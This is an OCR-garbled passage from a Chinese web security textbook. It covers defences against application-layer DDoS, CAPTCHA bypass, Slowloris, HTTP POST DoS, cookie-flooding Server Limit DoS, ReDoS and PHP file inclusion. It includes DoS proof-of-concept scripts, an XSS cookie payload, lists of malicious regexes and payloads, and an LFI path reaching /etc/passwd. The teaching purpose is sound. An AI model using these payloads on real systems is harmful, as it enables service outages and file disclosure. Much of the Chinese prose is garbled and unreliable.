else: # ip is the same, but bcookie is different
pass

# ip not found
if (ip_exists == False):
blkip.append({'ip addr': ip addr,
'bcookie': bcookie,
'count': 1,

'base time': datetime.datetime.now(),
'update time': datetime.datetime.now (),
'status': 'ok'})

memcache.set ('RequestLimitList', blkip)
return

def checkIPInBlacklist (self, ip addr, bcookie):
blkip = memcache.get ('RequestLimitList')

# flag to check if found a block ip
found = False

## step 1: find the ip address in ip list

## step 2: check if request counts reach the limits
## step 3: check if time period is in the limit

for ips in blkip:

if (ips['ip_addr'] == ip addr): # find the ip
# check if the ip is bannd
reqgs_time = datetime.datetime.now() - ips['base time']
if ( ips['status'] == 'banned' ):
# if banned time is over, then free the ip
if (reqsitime.seconds >= PLANETCONFIG['REQUESTLIMITFREETIME']) : # time to free

the banned ip
# reset the ip log

ips['count'] =1
ips['base time'] = datetime.datetime.now ()
ips['update time'] = datetime.datetime.now ()
ips['status'] = 'ok'
memcache.set ('RequestLimitList', blkip)

else:
found = True

break

if (ips['count'] >= PLANETCONFIG['REQUESTLIMITPERHALFMIN']) : # check count limit
#print regs time.seconds
if ( regs time.seconds < 30): # check time limit

found = True

# reset the ip log

ips['count'] = 1

ips['base time'] = datetime.datetime.now ()
ips['update time'] = datetime.datetime.now ()
ips['status'] = 'banned'

memcache.set ('RequestLimitList', blkip)
break

return found
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FEAE I :

# request limit
reglimit = RequestLimit ()

# remember checkIPInBlacklist must invoke after addRequestClick
reglimit.addRequestClick (ip, bcookie)

if (reglimit.checkIPInBlacklist (ip, bcookie) == True):
self.response.set status (444, 'request too busy')
self.renderTemplate ('common/requestlimit.html")
return False

K BACR L EH Y Y= DDOS Bradi iy AN aj L. & r BB AR i, Jid 1P kY
Cookie AL AN i, U 7 S ARG SRAE — e I TN RIS, 2 ok B i
JITA VR SR E O 1) > H A TR

MEH E 7 X BRI 5 2N S5 8 2 1T, A RO RN OR Y™ e i N A0 H i, AT A A
A CHERT IR

1323 EEF—R, BEe—3

SRIMTIZ AP A8 T3 i AN TE 38, R B AR P i I I W AR 4 b AN K P 5E . XA T %6
P ZE R LU AN 0 AN P Hidk, 5N Cookieo {HH I IP Huhilkmf g
23R AEAS, T Cookie M ATRe<s#iiG 4, Wit IP HulibFl Cookie [BI W48 &4 7484k, AT
LA BN T .

ik 1P Mkl AEAR R ? AEH “AREEARSS %7 AV Wk . ESEbri X, K

A AR IR 55 & S AR AT LR BT i O B0 TP Mk, el — P e i e Bl
FAL I LT VL P AT AL e 1P Hiuhik, 3T LASEI JIR 9% 40 BRAS TP Mk i SRATAR AR BRI T

ARBLAE T2 T R AR R 5 45 (1 T A

= =]
FQ) NEASED NFREEE AWAEQ WHTEE ®WOM Mo

P QO 14 8 3 2 0

HEHE BREE |nmEE|

HE . HHE

202 86 144 144 80 HTTP
202,86, 144. 143 80 HITP
202, 85, 144, 170 80 HITF
210.51. 162, 107 3128 | HITF
20z 88 181 233 80 HTTF
202 86 144 21 80 HTTP
202,86, 161, 34 80 HITP
202, 102. 248. 95 80 HITF
202,88, 208, 82 80 HITF
216 21 .91 120 3128 | HTTF
216 1043 23 80 HTTP
222, 216. 2,50 3128 |HTTP

res ! ) 2
e e mel LI_I

=/ [SHooTHENR, 0T EA| [T [rosorzs

ARBEAE T4 ] S i

HEFREERERERREREE T
e e e e e = [
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11 AccessDiver W CL28 F B AL SCHL 13X P42 46 TP Mkt f Meety, e ml DAL 5 AARER IR 55
aedtihil, R AR 55 4% A1 2 B8 T IR D 4 AR

@ AccessDiver v4.170 @@
My Skill i

Tools  Wordlist  Weak History  Help Get HornyYision Please make a donation to the author

mattias:mattias 00:23:29

=l Sewer‘ 2 - Jp Bz ity
: @SIOD r) 4QTE e.d r I L 22 bos (7] E{

Sear:hl chtlonary] Hlstmﬂ Setting: 1 Prosy Explo\ter} Extras tuolsl Socks] Auto-Pilat  Progression 1

Last UserName tied Lasi Pagsward tied Last Response received Proxp used (s M
Pause

et

Found loging

AccessDiver 1 ] i

T A (X LR 15 B T-BE A4 DTN /= DDOS Zratiti ok 1R KK A B4
BRI I AN fF) B 2 N H 2 DDOS Hki J AR — N ISR RS, — Ok, AT TAT LA
MELR LA TS I T

B, NMAAHEEMEF L. &P EH] memcache B2 — MRAFIIIEALTT S, FEL

P P B s )R RER R BN A7 o IR AN T B SN ORI U, e B S P S P R, Y
AR A

ek, fER SR Ui . 35 TR S8 M 0, 8 PR AR B iR g5 &
Fo [ARETRAFE > TS CDN MRS sl B, Sefi b Mk 7).

e, WoRREEN A, E—EGITFEL RS 1P bk RE SRR
T ERAT TR R AN MR T A R LE T3 T LM BN JZ DDOS Bt

13.3 ISEIFASHVARLESE) L

KRR & LR i IR R 2 —, B SESCfAFR /& CAPTCHA (Completely Automated
Public Turing Test to Tell Computers and Humans Apart, 4> [ 20X 70 TH AU ZE 1 R IR o
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FEARZZ NG, U SR AT LRSS Y RS 5, IR A 5 I NSRS T BLRe A7 ROt BLLE B 3)
W E AT A

RN BRASVEFIR R DU, RS UERS RE AT 80 BRI PR A 3 A TSI
ER RGN R TR

e I_

Bl [opticnal}

mie: . Q0099088

Eniter this mdf o
LT
[7

Add by Comment | I memermber Me | Forget Me

AR S N AT

{HIUERG 7> =N IUAE, A IRAERD A S U, A B B U .

0 w62 K

R L AT

CAPTCHA KMIHIHIEE, Jeh TR GBS . B IE AR Bl TR 2%, A At
RMEHFR K, T LA UERS 2 —JE X8

ARAEM, ST BRI SR . B T BRI B GAR R AU AR S, 38 mT LA
HI Web B F AT EAFAE I I AR B0

UM SIS PR LR, 2 OO Y P R A I W SOMII 55 4 i Session HLERAF (1156 UEAD B 5L
KT PrAY 2 A RS R S B XFE IR RO 96 UEAS e SessionID AR BT,
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S A ) SessionID B] PL— H 8 AL [A]— AN IAEID

POST /vuln script.php HTTP/1.0

Cookie: PHPSESSID=329847239847238947;
Content-Length: 49

Connection: close;
name=bob&email=bob@fish.com&captcha=the plaintext

7 SessionID A KALHT, LA HHE RKILIXAL, 17 AN Db LI UERD 1) ] 75T
T RIX A 1) 8 O AR AL T

if form submitted and captcha stored!="" and captcha sent=captcha stored then
process form() ;
endif:

UG AR ] 2.

if form submitted and captcha stored!="" and
captcha sent=captcha stored then

captcha stored="";

process form();

endif:

AT SRS ST 5, SRR T AT A SR U I AR BT, DA A f A R AR D e
PP R SCAEAL o AEAE ISR IERD N, UL AP i 55 e [ 8 B PR B, X e o
JEUAS IANE A T $R TR RE

ALl X BRI IAE RS SCAF A4 A7 AE AN Bo ml DL SR IS 10 5 5, 3 D P
A RBAE &, FFESLIRUEE R W SCZ X NIR R, AWTITER 5K “RULR”, Xt
FERAEIE R BT FORRAER SO AL T BN, A “ATTFE” J .

B BRI AR, B R SRR U0 1) 5 VA AR A BORBBA . Jl Id— Le P R AL P
BoR, AT LUK S8 IEAD I 25 A2 Al T UMK B

ot s om gL Ot

005, jpg 001, conw, brp 005, 3pg. 002 binv bmp 005, jpg 003, otsu bep 005, ypg 005 reai. bmp 005, jpg 006, trac, bnp

e o

2 P N Fa I e _,_,-..t,l’. o
QU7 (RS (RA =25

005, jpg 00T, adge. bep 005, jpg. 005 than bap 005, jpg 009, tidy. bep 005, ypg. 010 kerf. bmp 005, jpg OL1. film. bnp
RAER LA P

St AT DRI A, AT LA %] moonblue333 JIT 5 1) el hU) i % R 46 TEAG 1

1 http:/secinn.appspot.com/pstzine/read?issue=2&articleid=9
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13.4 PBHEINAE DDOS

WUERSANE T RER, AR Z G 745 AN (AR B  ASREAE BRI . HIGUERD AN
P T8, P DABA A 5 24T L (17 %

W UERS A% L B AR UM NS HLES, AR A %, E AN 5, AT fid fe
PR SeEIR? B SO HIER .

FE—REEOUR RS54 s i AT LLIE R AW HTTP Sk i User-Agent “7 BEOK RS T i o
TEN AR X P T VEIFAN T 4E, R HTTP SkH ¥ User-Agent A& i LA 2 7 i B ok (¥, Jir
AR AT

— B EL I AT S R AR R S AT — B JavaScript, 4 HIERARIEAT AR . R OER
SR A BN AR A BRI HTTP RS, HFIRE— DA I Al s sk o Rt —
BT B JavaSeript, 0] LAFIWT % i B RO A SR AT . R, KIE—A flash ik
FU AT, nT DUR BRI IR . (TR IS, KR AR TR, A1 A s
A W IRAER AR T ) “NEE”, BOCVERI R T

B T ABLIRGAE, B0 AZE Web Server 1X— 2SR AH, I Ak 2 17 5K v A 132 I i £ 1
FIRERPHL, DRI mT DR 2 — SR AT

£ Apache (G E CAFh, A — 9S8 LI DDOS HMiili. i/~ Timeout.
KeepAliveTimeout {8, 34/l MaxClients i, H 7R INIE, X LESH R 0] RESS 52 M0 31 1F
W, DR B SE RS LN S « 7F Apache [RI'E 7 SCRY 0TS Y T — 26 §2—

Apache FRALAIIEREE O HTFRATY E Apache. Bl B ERAL T Al AE. HATC&H —Lk
THUEI Module 4 a8 73 LB T 6 v H 2 DDOS MUk i R

“mod_qos” #& Apache []—~> Module, ‘& nJ LA BhZ& A% N H 2 DDOS Biiti. thlil mod qos
PR TR X LU Bl AR (i

# minimum request rate (bytes/sec at request reading):
QS SrvRequestRate 120

# limits the connections for this virtual host:
QS SrvMaxConn 800

# allows keep-alive support till the server reaches 600 connections:
QS SrvMaxConnClose 600

# allows max 50 connections from a single ip address:
QS SrvMaxConnPerIP 50

2 http://httpd.apache.org/docs/trunk/misc/security _tips.html#dos
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# disables connection restrictions for certain clients:
QS SrvMaxConnExcludeIP 172.18.3.32
QS SrvMaxConnExcludeIP 192.168.10.

mod_qos’THAESR K, "B I 2 AL E , A3 DRI A AT DL L B 7 P 3RS 5 2 4
B2 T mod qos 4h, i&47E FHFXHUN I JZ DDOS [f) mod_evasive' th A7 AR H o

mod_qos MEEK AR BRI A TP bk fR 5 il A5, DRUEAE T A4S TP Mk Bl 1P b
BRI DL, LEBAT . BRSO e B, WORMd A A T AR 4 (R AL T
Wit AZAN AT R Ry A ki e ?

Yahoo g FATFEME T Mgk Sk . AR JZ DDOS Kk 1P Hubik #8252,
PrUAESE PR ot R, B () 1P Hihik LS AN T BETC IR I G . BRI #1000 4> 1P Mk
SO By, WAGER T 10000 ¥k, WSFEREAS TP Mk K Al UL B 10 7R, Brdiin SRRk
N A TP AR TR R AR, (HICIR AT AR, ARREAEIX 1000 A TP bk ) vis B P9 fice i

It Yahoo SZEL T 4L, ARYE IP Huhib A Cookie %545 8, 1T LA /i F i SR AR
FEFATHEAR . Yahoo Wit fRIIXE R Fi 2y Web Server FF & [ — /M, (HEESAAE M) F2afg
— & master RS w LT HATA 1P HUhERE SRR, 1R D RIS 214 5 WebServer .

Yahoo N ILHIE T A% F (Detecting system abuse®), PEIFRATAT LT 5 b L A 1 28 T4
B BT RS2 17 EgnE S .

United States Patent 7,533,414
Reed , et al. May 12, 2009

Detecting system abuse

Abstract

A system continually monitors service requests and detects service abuses. First, a
screening list is created to identify potential abuse events. A screening list includes
event IDs and associated count values. A pointer cyclically selects entries in the table,
advancing as events are received. An incoming event ID is compared with the event IDs in
the table. If the incoming event IDmatches an event ID in the screening list, the associated
count is incremented. Otherwise, the count of a selected table entry is decremented. If
the count value of the selected entry falls to zero, it is replaced with the incoming event.
Event IDs can be based on properties of service users, such as user identifications, or
of service request contents, such as a search term or message content. The screening list
is analyzed to determine whether actual abuse is occurring.

Yahoo BEUFIIX IR R, ZidSCBARL, W LATREO PN ]2 DDOS Kk At 283541
fRBE U I Mot . {H Yahoo JFAKEHITUR, BRI T-—LEHJF A BE J0 B AR LI A 2 w) e, ]
LIRSS LA o g di ik, sEBl— 2R UM R 8.

3 http://opensource.adnovum.ch/mod_qos

4 http://www.zdziarski.com/blog/?page id=442

5 http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF &p=1&u=%2Fnetahtml%2FPTO%2
Fsearch-bool html&r=2&f=G&I1=50&c01=AND&d=PTXT&s1=Yahoo.ASNM.&s2=abuse.T1.&OS=AN/Yahoo+AND+TTL/abuse
&RS=AN/Yahoo+AND+TTL/abuse
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135 BHEFERNT

BT CC Brdidh, Bri &l vl e H—2%% Web Server [l s vHa b, 1 H618 medE 46 il
5o NIA LB, IF kAT (A JELE I SS et AR i

13.5.1 Slowloris {5

Slowloris® J&7E 2009 4F 17 44 1) Web 224> % 5% RSnake $&HH 11— Rl i Jridk, HoJREE &L
ARG PR T 1 IR 25 % A 326 HTTP iR . 1T Web Server XTI K HIER B A — e 1 LR,
DU s A IR S B AN, 84 Web Server HIBT A RS HOB R L,
LB HIE K, FEARLIRS .

BRFMEIXANER:, RSnake MG T —AMWRER HTTP G5k, #EMHUE, & — AR
HTTP iF3K,

GET / HTTP/1.1\r\n

Host: host\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR
1.1.4322; .NET CLR2.0.50313; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

AEIEH I HTTP 403k, LA CLRF 375 HTTP Headers #5743 45 H (1 o
Content-Length: 42\r\n\r\n

tH+ Web Server R 2| T —/Mr\n, FEIKE A HTTP Headers #70 % H & W, FEErFrILIE
AR, REEAEA SE R K o BRI 25 P o P A6 AT HTTP Sk, PREFAEEFERITT .
X-a: b\r\n

MRIE 2GR, RS AR IER AR I8 2] B . 78 Slowloris (14 @ %k _Fnf LA
N EF] POC HRFET, HAZ AR

sub doconnections {

my ( $num, Susemultithreading ) = @ ;

my ( @first, @sock, @working );

my $failedconnections = 0;

Sworking([$ ] = 0 foreach ( 1 .. $num ); #initializing
Sfirst[$ 1] = 0 foreach (1 .. Snum ); #initializing

while (1) {
Sfailedconnections = 0;
print "\t\tBuilding sockets.\n";

foreach my $z (1 .. Snum ) {
if ( $working[$z] == 0 ) {
if (S$ssl) {
if (
$Ssock[$z] = new IO::Socket::SSL(

PeerAddr => "S$host",

6 http://ha.ckers.org/slowloris/
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XA TP X T 1) Web Server #5247 21 IIXF 7 2T LU Hi:
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AR 4RSS BUR A B, SEFs LR PR BRI IR B -

7t Slowloris &6, “FHFR” AP E Web Server &S X2 — N LR, tean
1t Apache 1IXAME HH MaxClients 5 o WA E % 7 b v] LAJG BRI IE R LG, st oe ik
T A PR CE RN RS, SEUELRS

7£ Slowloris KA Z HI, 1HAEH NEIRBIIXA M@, {02 Apache B /7 75 1A Slowloris [

d 7 AN, ABATTIAHIX S Web Server [—MHE, Il HHESHRENS L2 1L 2K ) 8,
oy IR ] 22 SRS T e R S AU 4

Web Server [ H 2A FE A IX M Bty S RATIIRARAT 2L o

13.5.2 HTTP POST DOS

££ 2010 41 OWASP K4> I, Wong Onn Chee FII Tom Brennan {§i7x T —FF2&4LL T Slowloris
MR Tk, VE#FRZ 9 HTTP POST D.O.S.%.

HRBIEAE KIX HTTP POST B, $55E —ME% K1) Content-Length i, %Eu@mm
WERAL, n 10~100s K—FA0, PREFEXAEEAWITT . XFE 9% i 70
Jis AT Web Server BT AT HERE, MITFE DOS. POC Uil F Ei7R:

] Ws seripting . T - - - i
2 @ E| G2 v | [§ | DiworkievsTVwehippScannintD atauSeripts\S amples\post_ddos. scrpt

1 var number of connections = 256;:

2 var sockets = new Array():

3

4 for {var i=0; i<number of connections: i++}

= =R

6 var s = new TSocket("tcp"):

i sockets[i] = s;

8

9 s.host = "acuart”;

10 s.port = 80;

" s.Timeout = 07

12

B if(s.connect())

4 B {

15 Trace(i + " Connected");

16 Sent = s.Send("POST /aaaaasaasaaa HITP/1.1\z\n"+
17 "Host: acuart\r\n" +

18 "Connection: keep-alive\r\n" +

19 p-Alive: 200\r\n" +

20 tent-Length: 100000000\r\n" +

21 tent-Type: app,,ca: on/x-wm-form-urlencodedirin® +
22 "Accept: *.*\r\n" +

23 "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) App
24 racunetix™);

25

26 if (Sent<=0) Trace("Error sending"):

27 else Trace(it+ " Sent data"):

28 }

20 }

30

Ell while (1){

32 Efor {var i=0; i<number_ of_ connections: it+)

3 0 ¢

34 sockets[i].Send("z");

35 3

36 sleep(1000) ;

3r trace(".");

£ _
«

7 http://httpd.apache.org/docs/trunk/misc/security_tips.html#dos
8 http://www.owasp.org/images/4/43/Layer 7 _DDOS.pdf
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By SRR G B R W R R R H A& (Apache):

Stail -f /var/log/apache2/error.log

[Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with
Suhosin-Patch mod ss1/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations
[Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising
the MaxClients setting

FHUE AT S, X PP B A RS2 £ % Apache [ MaxClients PR 1
BRI R, T LT Web N BTk, BCE AN E 1) Web Server 2R,

T RA_E PN AT AR B ARIIRAT R, LA BRI “ PR 9y, R mT e R B
ANTIRSEE CEEZCY-E PNV L Nl -0 S VAL i T

T AT PR R B AP BR ], PoAr R E. A7k s 1A) S5 B YA AN T RE T PRt g I
DAL G SRR AN AT 45 A AR DR 2 EA T ORI B, AT P B R 2 55 - A ittt 2 R
J R B B bug, TR AU, AR R A e it AR £ IR 5%
Kkt 77 5

13.5.3 Server Limit DOS

Cookie tHAEIE B FIIE LIRSS, 2E#HFRZ A Server Limit DOS, #3476 2E# (Ml & S h
il i I A

Web Server ¥} HTTP €k #5 7 I JEMHI, LA Apache 254, BRI 8192 515, HIAfAL i,
Apache FTRERSZ MK HTTP U3k K/N K 8192 “#17 GXMIRMZ Request Header, UWIH /2
Request Body, JUERIA /MR Sl 2GB) o W% 7 3 A 1 HTTP LSkl ix A~ Koy, ks
AR IR A dxx B, ORTE RN

Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.

g st XSS Bk, SBEHER IS AN T — MK Cookie, NNZEE 7 v LT
75 Cookie Z A, WGV 1% Cookie BT AEIK TR T » X &K Cookie W& i fE HTTP
A3k BLRIE), T Web Server BRI AN IX & — NI IEH TR, WM SE “ & um” 1
LR 5.

ELan LN POC AR5

<script language="javascript">
alert (document.cookie) ;

var metastr = "AAAAAAAAAA"; // 10 A
var str = "";

while (str.length < 4000) {

9 http://hi.baidu.com/aullik5/blog/item/6947261¢e7eacaac0a7866913.html
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str += metastr;

}
alert (str.length) ;

document.cookie = "evil3=" + "\<script\>alert (xss)\<\/script\>" +";expires=Thu,
18-Apr-2019 08:37:43 GMT;";

document.cookie = "evill=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";

alert (document.cookie) ;

</script>

W 1) 25 7 g 5 NS IR Cookies

AR PRI ), TR A% Apache it B 240 LimitRequestFieldSize'', XN S H% & 4 0 I,
XF HTTP A3k 1 R/ A Bl

WL U BG4, FRAT T RE a4 kg5 Bk 7 AT SERR Bt —Rh “ BrIERE
R, BRSO RGN, FFEH SRS AT Re I 50, R B “ AR PTE” g0k
BEUEAEG, XeAR R T S R

13.6 — TIENS|IZBIMNZEE: ReDOS

IENRR AW REIE AL RS ? 2, MENERIAN SN, #iAa vl fe g B = AR
I, HFECERIE, Mifis & DOS. XF B HFR  ReDOS.

S s R SRR B s A A E 5, ReDOS & RS SeIl B ig . FoAi1 4018
ENFEIARZEET NFA (Nondeterministic Finite Automaton) [1, &2 —NRENL, FMNRE
FEAFFSH T REE V2 AR N —ARE . IENIARAT 5 88306 ) BT n] G804 45 B2 55
HTFAREEA ST TA T —RE”, BT RN 28 “ N RE”, JE2
R —ANIERLH .

P X AN IE Rk =
" (at) +$

MENHEF 4 “a” B

aaaaX

FAAT R IR

10 http:/httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize
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B 16 A TTREMIES G2, 51 AR bR i 5% .
EL 24 A LR 2 BRI

aaaaaaaaaaaaaaaaX
AR T 65536 AW REMEAR; MURRHE I “a”, BRIRIECE AR

SRR IS T 7 LE )5 VAT A I (T AR ] R I RN IR, XA G ) 1)
TS AR R R RIE (Leln CPU RINAE), MIMFBUE & RS2 MPERE FRe, LI
fas R RGNS, A AR EUIR S5 R LW, B 55 i) Jm AR —FE

i LA E R AR B, FATTAT AREAT— 358, WA

retime.py - Python test program for regular expression DoS attacks

This test program measures the execution time of the Python regular expression
matcher to determine if it has problems with regular expression denial-of-service (ReDoS)
attacks. A ReDoS attack becomes possible in applications which use poorly written regular
expressions to validate user inputs. An improperly written regular expression has an
exponential run time when given a non-matching string. Character strings as short as
30 characters can cause problems.

The following WikiPedia article provides more information about the ReDoS problem:

http://en.wikipedia.org/wiki/Regular expression Denial of Service - ReDoS

This program has been tested with both CPython and IronPython. Versions of the
test program for C#, Java, JavaScript, Perl, and PHP are also available at:

http://www.computerbytesman.com/redos
Author: Richard M. Smith

Please send comments, questions, additions, etc. to infol@computerbytesman.com

H o e e e o T T S e e e S 3 S = e e e S 3 = S

#

# Test parameters

#

# regex: String containing the regular expression to be tested

# maketeststring: A function which generates a test string from a length parameter
# maxiter: Maximum number of test iterations to be performed (typical value is
50)

# maxtime: Maximum execution time in seconds for one iteration before the test
program

# is terminated (typical value is 2 seconds)

#

regex = r""(a+)+S$"
maketeststring = lambda n: "a" * n + "!"
maxiter = 50

11 http://www.computerbytesman.com/redos/
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Typical test string: aaaaaaaaaa!

Max. iterations: 50

Max. match time: 2 secs

For n=1, match time=0 msec, match count=0
For n=2, match time=0 msec, match count=0
For n=3, match time=0 msec, match count=0
For n=4, match time=0 msec, match count=0
For n=5, match time=0 msec, match count=0
For n=6, match time=0 msec, match count=0
For n=7, match time=0 msec, match count=0
For n=8, match time=0 msec, match count=0

For n=9, match time=0 msec, match count=0

For n=10, match time=0 msec, match count=0
For n=11, match time=0 msec, match count=0
For n=12, match time=0 msec, match count=0
For n=13, match time=1 msecs, match count=0
For n=14, match time=3 msec, match count=0
For n=15, match time=4 msec, match count=0
For n=16, match time=9 msec, match count=0
For n=17, match time=18 msec, match count=0
For n=18, match time=38 msec, match count=0
For n=19, match time=76 msec, match count=0
For n=20, match time=147 msec, match count=0
For n=21, match time=294 msec, match count=0
For n=22, match time=591 msec, match count=0
For n=23, match time=1187 msec, match count=0
For n=24, match time=2394 msec, match count=0

TR AR 0, OIS TR RV AR S AR SR AT o AT L, ReDOS wIfE2s Bk — AN A
ARG AL

N 22847 E ReDOS [ IE R IA X ik,

Fommm - e et
patterns list of malicious RegEx

fommmm - e
at+ (a+)+

charclass+ ([a-zA-Z]+)*

a_or aa (alaa)+

a or_a (ala?) +

a 11 (.*a) {11}

a 65 (.*a) {65}

Friedl ([AN\\""]+)*

- same as above again enclosed in “and $§ -——————-———————-

start a++ ~(a+) +$

start_charclass " ([a-zA-Z]+)*$
start a or aa”(alaa)+$
start a or a “(ala?)+$
start a 11 ~(.*a) {11}s

(

(

A

start a 65 ~(.*a) {65}$

start Friedl ~(["\\"']+)*$

# _______________

OWASP Aa-zA-Z]1+((['"\,\.\-]1[a-2zA-Z ])?[a-zA-Z]*)*$
DataVault NG -*) NS

EntLib "~ ([""]4) (2:\\([""]+))*$

Java Classname ~((la-z])+.)+[A-Z] ([a-z])+$

Cox 10 a?a?a?a?a?a?a?a?”a?a?aaaaaaaaaa

Cox 25 ara?a?a?”a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a”a”a”aaaaaaaaaaaaaaaaaaaaaaaaa
fiemomememeee=m= o e e e e e e e B S e S S S S ST E o
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I, AT DA BT 90 B S6AIE 1 WA S 75 474E ReDOS 1]

f=mmmmmemmmem== femm=m=sssssssss================================================
payloads list of payloads

#o—mmmmmmm o e
a 12X aaaaaaaaaaaaX

a 18X aaaaaaaaaaaaaaaaaaX

a 33X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX

a 49x aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX

Cox 10 aaaaaaaaaa

Cox 20 aaaaaaaaaaaaaaaaaaaa

Cox 25 aaaaaaaaaaaaaaaaaaaaaaaaa

Cox 34 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Java_Classname aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
EmailValidation alaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
EmailValidatioX alaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX
invalid Unicode (.+)+\u0001

DataVault DoS [, ,srrrrvrvvvrererereirrivrirrres

EntLib DoS ATV VLDV
EntLib DoSX L 1TV "X
o o

IR IE NS SRR NT S0 AT AT AR SE LA S 47— 62, (HUR VAT = 00 T S B s 2 i i
Brol%, R T “naive algorithm”, MIMTAEAFAEAR 221 5 MUT A 5 P L1 1E AR AT 51 5
AR AEAE AU i) R

FEA RIGTIRI IR WZGE AT BEAAAE AR IS, (R BT IR AAE A BRI

IEMIES, A TR 2K ReDOS.
f
M e o
s
eu Wieb Aly‘ai\f\cation it abimse

Cell Browser

Wb Browser

Client Side

IDSIPS
AREE ] T I RE A Ty

AR E N Ay, B ARG ReDOS AT AEME NI AEAS T HHER 2 LR A7 AE Bk
B P LE R AN ), T O 2 2 VAl R R

13.7 /N4

FEASFE YRR T I H 416 48 R 55 S0k 1) S BT A v 7 56 o TN 2 4B 248 IR 55 Mot 2 AL 4 i 1Y

12 http://swtch.com/~rsc/regexp/regexp1.html
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SEAR LR 5 SO (1) FHEA, A BB A B B A JE BRI P ade jse o BITEL, i Rk A
) 0 PR A% RE 5 A0 A IS AN T A PR B A 2 PR P80

FERR VRIS JZ AR 2 IR 55 BTy, w) DR N SAERY, (HIGUERS AN B UF I R TT % - Yahoo
5 R R BB T S5 IR R

FEARF RGN T ReDOS X R LB IR IR A8 IR 55 Mr ey, A ] 22 4 b g B ROX AN 1)

[



14

i) %
PHPZE

PHP & —FHAEH AT Web JFRiE S . 7 Python. Ruby 251 5 214K, PHP {3k 72
RZ TR e 2 Nk $E, ferh BEDUH k.

PHP (WA TR, X MEy 24 TARNR T L83, [AI PHP tBAFAEIR 2 g et v
f10 2 4 i) 7L

fE PHP 55 HE2 4], TR e @l g ANGE , VF2 4R LRI 24 4l RELAE 24 I A
BHL, B PHP 3 580 LI R R I 28 4. IN =4 H, PHP SR FRIPI L
LA KR A, B PHP [T A S8 PHP AR X B AR — 2.

PHP i 5 224 A A BB S 1228 i, DI U il PHP 2 s db AT 108,
MR AAS AL F AT AN FE

141 XH8E=HO

PERERYE, SCFR SIS “ARREEN (Rl £ “YEATd” —Frh, MRl “4Q
PN XA, HC R B BT T RERE IR BIA LA, IRk iR S5 s AT “AR
MR SRR R S SCA 7 (File Inclusion). SCFELE AT g4 U BLAE JSP. PHP. ASP
ST, WIS ECC S MR R .

PHP: include(), include once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: ava.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

FETLIRF 224 g s rf, PHP (OSCPF SR C 2 A T, DU BEATAE S RS
PHP N HI AR T AR SO &, HLm SRR ™

SCAFR R PHP (PP R, 200 4 DR EGE
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include()
require()
include once()

require_once()

HAEHIX 4 DB SISO, SRR D PHP ARBS3AT, PHP ARIEAL
ERZBEE TR ARE. PrU R e S 12 ot SCF B30 R URL, WAR
et PHP AUBSIAT o X454k, FESCMCi R AE A . B U A

<?php
include ($_GET[test]);
2>

IR 3R AN S

€ C' @ www. a. con/test. phpPtest=fortest. txt

Notice: Use of undefined constant test — assumed *test’ in D:\soft\develop\env\sites\www.a. com\test.php on linc 3
for test!li!!

b RE W]
MIXAS txt SCPEHR R T AT AT 1) PHP ARG A

THE) RiEE) R0 EF W R
for test!!!!

<‘php

phpinfol) ;

7

AT URL, AR AT T

€ C' ©www.a. com/test. phpTtest=fortest. txt

Notice: Use of undefined constant test - assumed *test’ in D:\soft\develop\env\sites\www. a. com\test. php on line 3

for testl!l!
PHP Version 5.2.6 .?

System Windows NI ALTBABA-3985N 5.1 build 2600
Build Date |May 2 2008 18:01:20

Configure  |eseri: pt /nologo eonfigure. j= “—enable-snapshot-build” "—with-gd=shared” "-—with-extra-includes=C:\Progran Files
&6 W £t

PROGEA™2\MICROS 2 \VC 98 ATLA THCLUDE: C : \PROGRA ™2 \WICROS™2 V98 TNCLUDE : C: \PROGRA™2\NICROS ™2\ V98 \MFC \ TNCLUDE
“—-with-extra-libs=C: \Program Files (:88)\Microseft

SIEALib: C: \PROGEA™2 WICRDS ™2 \WCBSALIE, £: \FROGRA 2\ ICRIS "2\ VCGS \WFC \LIE"

dpache 2.0 Handler

enabled

Configuration |C: HINIOYS

Loaded - hsofthdevel opheny\FHFS php. ind

phpinfo() A E 8 HAT
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SRR SO S i 5 B AL T TP A S
(1) include()5% bR Hit i Bl a2 (1 )5 SN N EAL 5 IS0
(2) W RetsiEhlizsh L& .

THERATRENE B S IR IE 7] 58 S 2L 5 51 .
14.1.1 Atz 4as&

AERSHT T 00 & A M S TR, R O A b SCE SR (Local File Inclusion, fj i
LFD. Lan MAXBAC, HiAe{r LFI Jwif.

<?php
$file = $ GET['file'l; // "../../etc/passwd\0"
if (file exists('/home/wwwrun/'.S$file.'.php')) {

// file exists will return true as the file /home/wwwrun/../../etc/passwd exists
include '/home/wwwrun/'.$file.'.php';
// the file /etc/passwd will be included

H P REE IS4 file, 24 file IA{EA “../. Jetc/passwd” IF, PHP #1jj Il /etc/passwd LA
{FURTAESLZ /Y, BT E R —A /N ) 8
include '/home/wwwrun/'.$file.'.php';
RS AR R S AT Rk, RWH s fStile FIEN ./ Jetc/passwd” B, XEBE
AAGAH S T

include '/home/wwwrun/../../etc/passwd.php';
Pt & 3ot s br e “Jete/passwd.php”,  (EIXAS SCAF LS ARAEAER

PHP W% A C B FSCHUN, B T CES IS5 fr Ab pR 4. (R 24T
